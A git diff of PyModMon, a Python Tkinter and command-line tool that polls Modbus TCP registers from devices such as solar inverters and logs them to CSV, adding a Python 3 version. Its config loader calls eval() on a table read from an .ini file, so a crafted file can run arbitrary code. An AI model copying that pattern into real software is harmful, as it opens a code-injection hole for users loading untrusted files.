+ logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') 